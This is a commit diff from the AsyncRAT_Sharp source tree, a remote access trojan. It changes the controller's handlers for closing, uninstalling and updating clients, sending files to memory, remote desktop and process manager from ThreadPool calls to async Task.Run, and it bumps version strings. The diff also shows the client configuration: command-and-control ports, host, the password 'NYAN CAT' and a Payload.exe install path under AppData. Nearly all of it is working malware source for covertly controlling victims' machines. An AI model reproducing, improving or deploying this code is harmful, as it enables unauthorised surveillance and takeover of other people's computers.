UPDATE
This commit is contained in:
parent
d5e958aa38
commit
07ca3b427d
@ -137,7 +137,7 @@ namespace AsyncRAT_Sharp
|
|||||||
toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}";
|
toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}";
|
||||||
}
|
}
|
||||||
|
|
||||||
private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
|
private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
@ -145,13 +145,16 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "close";
|
msgpack.ForcePathObject("Packet").AsString = "close";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
await Task.Run(() =>
|
||||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
{
|
||||||
|
Clients CL = (Clients)C.Tag;
|
||||||
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
|
private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
@ -165,8 +168,11 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Message").AsString = Msgbox;
|
msgpack.ForcePathObject("Message").AsString = Msgbox;
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
await Task.Run(() =>
|
||||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
{
|
||||||
|
Clients CL = (Clients)C.Tag;
|
||||||
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -188,9 +194,12 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Update").AsString = "false";
|
msgpack.ForcePathObject("Update").AsString = "false";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
await Task.Run(() =>
|
||||||
CL.LV.ForeColor = Color.Red;
|
{
|
||||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
Clients CL = (Clients)C.Tag;
|
||||||
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
|
CL.LV.ForeColor = Color.Red;
|
||||||
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -201,7 +210,7 @@ namespace AsyncRAT_Sharp
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
|
private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
@ -211,8 +220,11 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "uninstall";
|
msgpack.ForcePathObject("Packet").AsString = "uninstall";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
await Task.Run(() =>
|
||||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
{
|
||||||
|
Clients CL = (Clients)C.Tag;
|
||||||
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
@ -238,9 +250,12 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Update").AsString = "true";
|
msgpack.ForcePathObject("Update").AsString = "true";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
await Task.Run(() =>
|
||||||
CL.LV.ForeColor = Color.Red;
|
{
|
||||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
Clients CL = (Clients)C.Tag;
|
||||||
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
|
CL.LV.ForeColor = Color.Red;
|
||||||
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -251,7 +266,7 @@ namespace AsyncRAT_Sharp
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
|
private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
@ -277,9 +292,12 @@ namespace AsyncRAT_Sharp
|
|||||||
|
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
await Task.Run(() =>
|
||||||
CL.LV.ForeColor = Color.Red;
|
{
|
||||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
Clients CL = (Clients)C.Tag;
|
||||||
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
|
CL.LV.ForeColor = Color.Red;
|
||||||
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SF.Close();
|
SF.Close();
|
||||||
@ -291,7 +309,7 @@ namespace AsyncRAT_Sharp
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
|
private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
|
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
@ -303,25 +321,28 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Option").AsString = "true";
|
msgpack.ForcePathObject("Option").AsString = "true";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
await Task.Run(() =>
|
||||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
|
||||||
|
|
||||||
this.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
|
Clients CL = (Clients)C.Tag;
|
||||||
if (RD == null)
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
|
|
||||||
|
this.BeginInvoke((MethodInvoker)(() =>
|
||||||
{
|
{
|
||||||
RD = new RemoteDesktop
|
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
|
||||||
|
if (RD == null)
|
||||||
{
|
{
|
||||||
Name = "RemoteDesktop:" + CL.ID,
|
RD = new RemoteDesktop
|
||||||
F = this,
|
{
|
||||||
Text = "RemoteDesktop:" + CL.ID,
|
Name = "RemoteDesktop:" + CL.ID,
|
||||||
C = CL,
|
F = this,
|
||||||
Active = true
|
Text = "RemoteDesktop:" + CL.ID,
|
||||||
};
|
C = CL,
|
||||||
RD.Show();
|
Active = true
|
||||||
}
|
};
|
||||||
}));
|
RD.Show();
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
@ -332,7 +353,7 @@ namespace AsyncRAT_Sharp
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
|
private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@ -343,24 +364,26 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Option").AsString = "List";
|
msgpack.ForcePathObject("Option").AsString = "List";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
await Task.Run(() =>
|
||||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
|
||||||
|
|
||||||
this.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
|
Clients CL = (Clients)C.Tag;
|
||||||
if (PM == null)
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
|
this.BeginInvoke((MethodInvoker)(() =>
|
||||||
{
|
{
|
||||||
PM = new ProcessManager
|
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
|
||||||
|
if (PM == null)
|
||||||
{
|
{
|
||||||
Name = "processManager:" + CL.ID,
|
PM = new ProcessManager
|
||||||
Text = "processManager:" + CL.ID,
|
{
|
||||||
F = this,
|
Name = "processManager:" + CL.ID,
|
||||||
C = CL
|
Text = "processManager:" + CL.ID,
|
||||||
};
|
F = this,
|
||||||
PM.Show();
|
C = CL
|
||||||
}
|
};
|
||||||
}));
|
PM.Show();
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -9,7 +9,7 @@ namespace AsyncRAT_Sharp
|
|||||||
public static List<Clients> Online = new List<Clients>();
|
public static List<Clients> Online = new List<Clients>();
|
||||||
public static List<string> Blocked = new List<string>();
|
public static List<string> Blocked = new List<string>();
|
||||||
public static string Port = "6606,7707,8808";
|
public static string Port = "6606,7707,8808";
|
||||||
public static readonly string Version = "AsyncRAT 0.2.8A";
|
public static readonly string Version = "AsyncRAT 0.2.8";
|
||||||
public static long Sent = 0;
|
public static long Sent = 0;
|
||||||
public static long Received = 0;
|
public static long Received = 0;
|
||||||
public static string Password = "NYAN CAT";
|
public static string Password = "NYAN CAT";
|
||||||
|
@ -9,7 +9,7 @@ namespace Client
|
|||||||
{
|
{
|
||||||
public static readonly string Ports = "6606" ;
|
public static readonly string Ports = "6606" ;
|
||||||
public static readonly string Host = "127.0.0.1" ;
|
public static readonly string Host = "127.0.0.1" ;
|
||||||
public static readonly string Version = "AsyncRAT 0.2.8A";
|
public static readonly string Version = "AsyncRAT 0.2.8";
|
||||||
public static readonly string Install = "false";
|
public static readonly string Install = "false";
|
||||||
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
|
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
|
||||||
public static string Password = "NYAN CAT";
|
public static string Password = "NYAN CAT";
|
||||||
|
Loading…
x
Reference in New Issue
Block a user